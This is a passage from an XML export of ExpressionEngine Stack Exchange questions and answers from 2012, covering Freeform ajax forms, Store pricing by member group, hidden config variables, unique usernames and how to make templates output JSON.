  <row Id="675" PostTypeId="1" AcceptedAnswerId="677" CreationDate="2012-11-28T15:22:02.193" Score="6" ViewCount="313" Body="&lt;p&gt;I've got a freeform form that is setup to be ajax submitted. However, even though it all works and it sends an e-mail without page refresh, i don't get a json message back, it gives me a full webpage in the response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My freeform code is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;collection=&quot;Single Product Enquiry&quot;&#xA;required=&quot;&quot;&#xA;notify=&quot;me@me.com&quot;&#xA;template=&quot;single_product_enquiry_form&quot;&#xA;ajax=&quot;yes&quot;&#xA;form:id=&quot;ajax_form&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and ajax code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#ajax_form').ajaxForm(function(data) {&#xA;                if(data.success === true)&#xA;                {&#xA;                    $(&quot;#modal-action&quot;).hide();&#xA;                    $(&quot;#modal-reaction&quot;).show();&#xA;                }&#xA;&#xA;                if(data.success === false)&#xA;                {&#xA;                    //$(&quot;.form-error-holder&quot;).html(&quot;&amp;lt;label class='error'&amp;gt;&quot;+data.errors.join(', ')+&quot;&amp;lt;/label&amp;gt;&amp;lt;input type='text' class='error' /&amp;gt;&amp;lt;small class='error'&amp;gt;Invalid entry&amp;lt;/small&amp;gt;&quot;);&#xA;&#xA;                    $.each(data.errors, function(i, item)&#xA;                    {&#xA;                        $(&quot;.form-error-holder&quot;).append(&quot;&amp;lt;small class='error'&amp;gt;&quot;+i+&quot;: &quot;+item+&quot;&amp;lt;/small&amp;gt;&quot;);&#xA;                    });&#xA;                }&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i'm just not getting that json response. Any idea why?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-28T16:01:18.340" Title="Why would Freeform give me a full webpage back in the ajax response rather than a json message?" Tags="|ajax|forms|solspace-freeform|solspace|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostTypeId="2" ParentId="236" CreationDate="2012-11-28T15:55:15.940" Score="5" Body="&lt;p&gt;Going to toot my own horn here. Publisher supports Structure and doesn't require any funky conditionals or nonsense in your templates to get the navigation to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://boldminded.com/add-ons/publisher&quot;&gt;http://boldminded.com/add-ons/publisher&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2012-11-28T15:55:15.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostTypeId="2" ParentId="675" CreationDate="2012-11-28T16:01:18.340" Score="6" Body="&lt;p&gt;Are you sure that ajax=&quot;yes&quot; is required? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe freeform autodetects that (for graceful degradation on the client). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't checked the FreeForm source but I suspect it could be that you're actually accidentally triggering ajax=&quot;no&quot; with that param.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-28T16:01:18.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostTypeId="1" CreationDate="2012-11-28T16:18:18.573" Score="9" ViewCount="429" Body="&lt;p&gt;Is it possible to specify different prices for products in Store depending on the member group logged in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on our EE/Store site (currently only selling Retail) our client wants now to sell to Trade and Retail requiring two different prices. We could specify two inventories but obviously these would then cause problems as we would have multiple products with the same SKU.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2012-11-28T22:21:32.313" Title="Trade prices in exp:resso Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="679" PostTypeId="1" AcceptedAnswerId="680" CreationDate="2012-11-28T17:04:33.540" Score="6" ViewCount="196" Body="&lt;p&gt;Is there a hidden config variable for the &quot;Word Separator for URL Titles&quot; setting? What other hidden config variables remain undocumented in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&quot;&gt;ExpressionEngine User Guide&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-11-28T17:37:56.050" Title="&quot;Word Separator for URL Titles&quot; hidden config variable" Tags="|config|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostTypeId="2" ParentId="679" CreationDate="2012-11-28T17:06:43.083" Score="13" Body="&lt;p&gt;Yes, there is &lt;code&gt;$config['word_separator'] = &quot;dash&quot;;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;code&gt;$config['word_separator'] = &quot;underscore&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-11-28T17:06:43.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostTypeId="2" ParentId="673" CreationDate="2012-11-28T17:07:08.403" Score="6" Body="&lt;p&gt;If you are using version 1.6 or lower of Store there is a known bug with dynamic product variables that was fixed in version 1.6.1. &lt;a href=&quot;https://exp-resso.com/docs/store/release_notes.html#store-1-6-1&quot;&gt;(Release Notes)&lt;/a&gt;. Could you update to the latest version of Store and see if the issue still persist.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-28T17:07:08.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="682" PostTypeId="2" ParentId="679" CreationDate="2012-11-28T17:10:41.533" Score="8" Body="&lt;p&gt;Devot:ee has a page dedicated to this: &lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot;&gt;http://devot-ee.com/ee-config-vars&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-28T17:10:41.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="683" PostTypeId="2" ParentId="678" CreationDate="2012-11-28T17:14:03.730" Score="3" Body="&lt;p&gt;I don't believe that exp:resso store can do this (or couldn't last time I checked). If the discount is standard you could set up a coupon code that will allow you to X% off a orders total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're early on in development you may want to consider CartThrob as this functionality is &lt;a href=&quot;http://cartthrob.com/docs/fieldtypes/price_by_member_group/index.html&quot; rel=&quot;nofollow&quot;&gt;included&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-11-28T17:14:03.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="684" PostTypeId="2" ParentId="678" CreationDate="2012-11-28T17:30:55.043" Score="6" Body="&lt;p&gt;It is not something that is built into Store at the moment but there are 2 ways that you can implement the functionality depending on the complexity of your product data. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If your products are fairly simple and wont have modifiers effecting the price you can create the different price levels as modifiers per product then use a conditional in your template to preselect the proper modifier in a hidden field. The only downside to this is that the product modifier names would need to be the same so the in template conditionals worked without any problems.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second option would be to create 2 channels for your products. Lets call the first channel &quot;product_details&quot; which would house all of your details about the product but would not contain a Store fieldtype. In the second channel lets call it &quot;product_prices&quot; you would want to create 3 fields a Store fieldtype, Playa, and a dropdown or select field that would allow you select which member group the entry would apply to. Then in your template you would list the items on the site using the product_details channel and would then need to have the playa field search for the related entries where you dropdown or select had a value of the currently logged in member.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lastly if you are experienced with PHP you could easily write an extension that would be able to handle this. If you were to write an extension you would want to use the &lt;a href=&quot;https://exp-resso.com/docs/store/developers/extension_hooks.html#store-process-product-tax&quot; rel=&quot;nofollow&quot;&gt;store_process_product_tax&lt;/a&gt; hook to modify the product based upon the users member group before it is presented to the user.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-11-28T22:21:32.313" LastActivityDate="2012-11-28T22:21:32.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostTypeId="2" ParentId="679" CreationDate="2012-11-28T17:37:56.050" Score="2" Body="&lt;p&gt;You can also see any hidden config values that add-ons might have if you turn on the Output Profiler and then on the front end of the site you click Show on &quot;Config Variables&quot; which will show all the config items and their values.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-28T17:37:56.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="686" PostTypeId="2" ParentId="610" CreationDate="2012-11-28T18:06:10.060" Score="3" Body="&lt;p&gt;This can be done with any CKEditor-based WYSIWIG using the &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Templates&quot; rel=&quot;nofollow&quot;&gt;templates button&lt;/a&gt;, but beware as support for HTML5 (specifically figcaption) is spotty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've personally worked around this by using a div.figcaption until CKEditor supports more tags.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-11-28T18:06:10.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="687" PostTypeId="1" AcceptedAnswerId="688" CreationDate="2012-11-28T18:56:24.587" Score="6" ViewCount="186" Body="&lt;p&gt;We are looking to convert an EE site to a static site, but leaving two sections of the site in ExpressionEngine. For these two sections, we want to use EE control panel to publish content, but it would be great if on submission of the new entry, the content could also be exported as a flat file (preferably with markdown). Has anyone ever come across such an add-on that will allow for this?&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2012-11-28T20:46:52.200" Title="Is there an add-on that will export entry content as flat file on submit?" Tags="|entry|.html|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostTypeId="2" ParentId="687" CreationDate="2012-11-28T19:22:53.340" Score="5" Body="&lt;p&gt;I don't believe there's an add-on that does that but you could write a simple extension to do this using the &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry-submission-absolute-end&quot;&gt;entry_submission_absolute_end&lt;/a&gt;&quot; hook or a similar &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html&quot;&gt;hook&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-28T19:22:53.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="689" PostTypeId="1" AcceptedAnswerId="691" CreationDate="2012-11-28T19:38:57.337" Score="6" ViewCount="301" Body="&lt;p&gt;I am in the process of importing data from another application to ExpressionEngine. I know that EE expects screen_names to be unique as of Sept 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is whether I have to make the username unique too or if I can use a combination of first name and last name (e.g. &quot;johndoe&quot;) risking that there might be more then one &quot;john doe&quot; in the imported data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hints.&lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-03-27T09:03:57.483" Title="Do username have to be unique in ExpressionEngine?" Tags="|members|database|fields|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostTypeId="2" ParentId="689" CreationDate="2012-11-28T19:40:41.627" Score="6" Body="&lt;p&gt;Yup; a username is required and must be unique. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-28T19:40:41.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="691" PostTypeId="2" ParentId="689" CreationDate="2012-11-28T19:43:05.197" Score="4" Body="&lt;p&gt;Yes. If the username isn't important, I've used this for unique usernames:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;whateve_{current_time format=&quot;%m%d%Y_%G%i%s&quot;}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would typically be used in a member registration form or any other add-on that handles the registration process. Just hide the input so the user never sees the field.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-28T19:43:05.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostTypeId="2" ParentId="122" CreationDate="2012-11-28T20:10:03.440" Score="0" Body="&lt;p&gt;Why not use Assets? Has an excellent UX, and file uploading can be disabled per usergroup, and it should work with files that were already uploaded via the file manager.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-11-28T20:10:03.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostTypeId="2" ParentId="689" CreationDate="2012-11-28T20:11:01.647" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to email addresses, they might be unique and could be used as usernames. Some member management add-ons offer this option as well.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-11-28T20:11:01.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="694" PostTypeId="1" CreationDate="2012-11-28T20:20:50.730" Score="5" ViewCount="105" Body="&lt;p&gt;I am attempting to gather as much interesting metadata as possible to display for readers of an EE site I'm developing and am looking for guidance on methods (or indeed the feasibility) of computing specific bits of this metadata in a scalable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE allows for quite a few bits of data to be gathered and displayed natively, for example post totals and dates, comment totals and dates, tag totals (via a plugin), etc. However &lt;strong&gt;I'm specifically interested in methods to count and display totals for data like number of words, images, videos, or audio files, not only included within individual posts but cumulatively across a channel, as well as an entire site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These totals would be displayed contextually depending on where they were accessed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example search results would display the number of words/images/etc contained in individual posts, while a channel's &quot;About&quot; page would display totals for that channel, and the site's &quot;About&quot; page would display site-wide totals. I'm not clear on the best approach or indeed whether this is even really feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've pondered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entering these numbers in custom fields on a per-post basis, but am not clear on how they'd then be added together or output for channel and site-wide totals.&lt;/li&gt;&#xA;&lt;li&gt;Using PHP's &quot;count&quot; method, but am not very familiar with PHP so unsure of it's appropriate.&lt;/li&gt;&#xA;&lt;li&gt;Using some mySql method to query the database, again unfamiliar and unsure.&lt;/li&gt;&#xA;&lt;li&gt;Utilizing the ExpressionEngine &quot;Query Module&quot; somehow.&lt;/li&gt;&#xA;&lt;li&gt;Using some Jquery plug-in to do the counting individually and then adding after the fact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It may be that the counting of words, images, video, and audio files and the scalability are different questions all together but the truth is I'm not sure what avenue would even be best to explore at this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a mission-critical question but any and all suggestions are appreciated. In fact suggestions regarding any bits of metadata (with the exception of member-related data) that is retrievable and displayable on the front end, beyond what I've laid out here, would interest me. Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="28" LastEditDate="2012-12-16T06:14:47.753" LastActivityDate="2012-12-16T06:14:47.753" Title="Computing word, image, video and audio file counts in a scalable way?" Tags="|custom-fields|php|database|jquery|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="695" PostTypeId="1" AcceptedAnswerId="702" CreationDate="2012-11-28T20:21:46.337" Score="12" ViewCount="7423" Body="&lt;p&gt;I am trying to use EE templates the same way I use CI controllers. Normally, when I need an &quot;API&quot; wherein my JS can call a URL (maybe with some POST variables) and get a JSON (or JSONP) response back, I'll just put these API methods in a CI controller and make sure I set the content type before returning a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a JSON template type. So, I've installed this &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot;&gt;http://devot-ee.com/add-ons/http-header&lt;/a&gt; and set the content type using the add on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a native way to do this in EE? Or was I right to use the add on?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2017-05-03T19:53:30.457" Title="How to make templates output JSON?" Tags="|add-on|templates|" AnswerCount="11" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="696" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T20:25:48.933" Score="3" Body="&lt;p&gt;IMHO, you really don't want to use templates as controllers; consider them as views instead. You sound like you know about PHP so, if I were you, I'd write an extension with one of the template hooks instead. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-28T20:25:48.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T20:31:16.337" Score="1" Body="&lt;p&gt;You might be able to in a default template if you place curly brackets on their own lines, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;success&quot;: 1,&#xA;  &quot;errors&quot;: [],&#xA;  &quot;count&quot;: 15&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-11-28T20:31:16.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="698" PostTypeId="1" AcceptedAnswerId="703" CreationDate="2012-11-28T20:37:56.457" Score="7" ViewCount="802" Body="&lt;p&gt;I have a problem where I need to increment a variable if it satisfies a conditional like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_tag_pair}&#xA;  {if matrix_column_name}&#xA;    $increment++&#xA;  {/if}&#xA;&#xA;  {if $increment &amp;gt; 9}&#xA;    do this...&#xA;  {if:else}&#xA;    do that...&#xA;  {/if}&#xA;{/matrix_tag_pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this without enabling PHP in a template? I don't see where you can create throwaway variables like counters using just EE template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/increment&quot; rel=&quot;nofollow&quot;&gt;Increment&lt;/a&gt; was close enough that I modified the source so it could also return the count without incrementing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:pvl_increment start=&quot;0&quot; step=&quot;1&quot;}&#xA;{matrix_tag_pair}&#xA;  {if matrix_column_name}&#xA;    {exp:pvl_increment random}&#xA;  {/if}&#xA;&#xA;  {if {exp:pvl_increment increment=&quot;no&quot; random} &amp;gt; 9}&#xA;    do this...&#xA;  {if:else}&#xA;    do that...&#xA;  {/if}&#xA;{/matrix_tag_pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for pointing me in the right direction. This was enough that I didn't have to enable PHP in my template. This slightly modified version of Increment combined with &lt;a href=&quot;http://devot-ee.com/add-ons/loop-plus&quot; rel=&quot;nofollow&quot;&gt;Loop Plus&lt;/a&gt; could be a very useful combination.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2012-11-29T18:48:19.327" LastActivityDate="2012-11-29T18:48:19.327" Title="Variables in templates w/o PHP enabled" Tags="|ee2|templates|variable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostTypeId="2" ParentId="694" CreationDate="2012-11-28T20:45:24.543" Score="2" Body="&lt;p&gt;Probably not the specific implementation answer you want, but speaking generally, the sane way to do this is if you really feel the need is to store/cache this information per entry on entry publish/update, as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It ain't gonna change unless an entry save happens&lt;/li&gt;&#xA;&lt;li&gt;It's potentially computationally expensive to generate&lt;/li&gt;&#xA;&lt;li&gt;It's probably not the end of the world if these values are a little bit off. (See the slight variations in SX meta scores in the users tab vs viewing a user's profile)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then when you need the summary data (for your &quot;about&quot; section or similar) sum your per-entry values and again cache it aggressively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for calculating the per entry data, you'd need a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;custom extension&lt;/a&gt;, though it wouldn't need to be very complex. The hook you probably want is &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry-submission-absolute-end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;entry_submission_absolute_end&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For storage/retrieval I'd suggest a separate table managed via a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;custom module&lt;/a&gt; - you don't need the overhead of storing this in channel data, and you'll get far better performance by just storing what you need against &lt;code&gt;entry_id&lt;/code&gt;'s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text should be &lt;em&gt;relatively&lt;/em&gt; straightforward, though images/video/audio etc are going to be pretty hard to decouple from their fieldtype implementation (will/are you using Matrix, Channel Images etc etc etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and I really wouldn't even think about doing this kind of thing with jQuery. Using JavaScript for string manipulation/iteration when you've got the option of doing it server side is not a good idea in performance terms.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-28T20:53:47.340" LastActivityDate="2012-11-28T20:53:47.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="700" PostTypeId="2" ParentId="687" CreationDate="2012-11-28T20:46:52.200" Score="3" Body="&lt;p&gt;I haven't used it yet, but this looks like exactly what you need: &lt;a href=&quot;http://devot-ee.com/add-ons/vl-file-generator&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/vl-file-generator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2012-11-28T20:46:52.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T20:49:11.603" Score="5" Body="&lt;p&gt;You could set the template type to javascript and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;locations&quot;&#xA;    limit=&quot;5&quot;&#xA;}&#xA;{&#xA;    &quot;Store&quot;: &quot;{title}&quot;,&#xA;    &quot;Address&quot;: &quot;{address}&quot;,&#xA;    &quot;City&quot;: &quot;{city}&quot;,&#xA;    &quot;State&quot;: &quot;{state}&quot;,&#xA;    &quot;Zip&quot;: &quot;{zip}&quot;,&#xA;    &quot;Phone&quot;: &quot;{phone}&quot;,&#xA;},&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2012-11-28T20:57:17.507" LastActivityDate="2012-11-28T20:57:17.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="702" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T20:58:22.590" Score="15" Body="&lt;p&gt;There isn't a native way to do JSON output in EE for channel data (AFAIK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you seen Rob Sanchez's &lt;a href=&quot;http://devot-ee.com/add-ons/json&quot;&gt;JSON plugin&lt;/a&gt;? You just pass params as you would with  &lt;code&gt;{exp:channel:entries}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://github.com/rsanchez/json#global-parameters&quot;&gt;specify which fields to output&lt;/a&gt;, optionally set it to only output if an &lt;code&gt;xhr&lt;/code&gt; is detected, and it will &lt;a href=&quot;https://github.com/rsanchez/json#jsonmembers&quot;&gt;output member data&lt;/a&gt; too. You can then wrap the rest of your template in an ajax detect conditional (I use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot;&gt;Mo'Variables&lt;/a&gt; for this) and you've got a single template that serves either &lt;code&gt;HTML&lt;/code&gt; or &lt;code&gt;JSON&lt;/code&gt; depending on the request type, no controller required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That might just do the trick in one hit, or at least provide a solid basis for custom development. At the very least you want to avoid formatting &lt;code&gt;JSON&lt;/code&gt; by hand - it's way too pernickity to be any fun.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-05T11:30:33.647" LastActivityDate="2012-12-05T11:30:33.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostTypeId="2" ParentId="698" CreationDate="2012-11-28T21:10:30.093" Score="6" Body="&lt;p&gt;I haven't used it myself, but perhaps the &lt;a href=&quot;http://devot-ee.com/add-ons/increment&quot;&gt;Increment&lt;/a&gt; plugin could do what you need? Or at least provide a basis for development. At the moment it always returns the current increment value, but it would be pretty easy to add a param to surpress this. Shout if you need help with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would then do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_tag_pair}&#xA;  {if matrix_column_name}&#xA;    {!--contains pseudocode! supress_output param doesn't exist in linked plugin as is, but could easily be added--}&#xA;    {exp:pvl_increment random id=&quot;my_id&quot; supress_output=&quot;yes&quot;}&#xA;  {/if}&#xA;&#xA;  {if {exp:pvl_increment id=&quot;my_id&quot;} &amp;gt; 10}&#xA;    do this...&#xA;  {if:else}&#xA;    do that...&#xA;  {/if}&#xA;{/matrix_tag_pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-28T21:16:51.520" LastActivityDate="2012-11-28T21:16:51.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostTypeId="1" AcceptedAnswerId="712" CreationDate="2012-11-28T21:12:05.917" Score="3" ViewCount="148" Body="&lt;p&gt;I run multiple sites off one EE installation using the &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3aFkKgS6TVp-EJ%3aexpressionengine.com/wiki/Running_Multiple_Domains_or_Subdomains_or_Subsites/%20&amp;amp;cd=1&amp;amp;hl=sv&amp;amp;ct=clnk&amp;amp;client=seamonkey-a&quot; rel=&quot;nofollow&quot;&gt;old method&lt;/a&gt;, and one issue with that is the Pages module. For example, I need an About Page for each site, directly following the domain. That means that when I setup these Pages, the Page URI would be /About/ in both cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work (which the documentation does make clear), even if the Page content is stored in two separate channels and even if each uses a separate Template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, then, is if there's any work-around for this issue? For example, each of my sites does have a site variable defined in index.php. Would it be plausible to use that in any way to allow multiple Pages to share the same URI.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-02-05T20:15:26.237" Title="Letting several Pages share the same URI?" Tags="|module|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T21:14:15.140" Score="2" Body="&lt;p&gt;I haven't used the plugins mentioned here, but you can use PHP in your template (on output) and do this by mixing the templating language and PHP. Not the cleanest, but it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header(&quot;Content-Type:application/json&quot;);&#xA;$events = array();&#xA;?&amp;gt;&#xA;{exp:channel:entries channel=&quot;events&quot;}&#xA;&amp;lt;?php&#xA;$a = array('id' =&amp;gt; {entry_id}, 'title' =&amp;gt; '{title}');&#xA;array_push($events, $a);&#xA;?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;?php&#xA;echo(json_encode($events));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd probably want to encode the output from your entries - the above example would break if there was an apostrophe in the title.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2012-11-29T13:23:53.273" LastActivityDate="2012-11-29T13:23:53.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="706" PostTypeId="2" ParentId="704" CreationDate="2012-11-28T21:15:42.700" Score="2" Body="&lt;p&gt;Wouldn't a template setup as &quot;about&quot; fix this?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-28T21:15:42.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="707" PostTypeId="2" ParentId="704" CreationDate="2012-11-28T21:27:57.380" Score="2" Body="&lt;p&gt;This is a perfect example of where using MSM would make your setup so much easier to manage then the old method as Pages URI's are site dependent so you could have multiple /about/ segments and similar on a per site basis.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-28T21:27:57.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
